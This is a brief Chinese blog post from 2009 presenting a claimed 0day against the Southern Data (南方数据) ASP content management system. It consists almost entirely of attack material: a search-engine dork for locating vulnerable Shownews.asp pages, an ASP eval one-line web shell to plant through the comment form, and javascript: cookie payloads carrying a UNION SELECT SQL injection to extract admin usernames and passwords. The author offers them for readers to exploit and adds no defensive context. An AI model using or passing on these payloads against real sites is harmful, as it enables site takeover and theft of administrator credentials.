南方数据0DAY

2009年11月05日 | 学习笔记| 坏人咖啡

南方数据的0DAY，具体怎么利用各位看官自己研究吧！

代码：

inurl:Shownews.asp?相关评论 发表评论： 呢称：评论

"%><%eval request("#")%><%'

javascript:alert(document.cookie="id="+escape("id"))

javascript:alert(document.cookie="id="+escape("111 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"))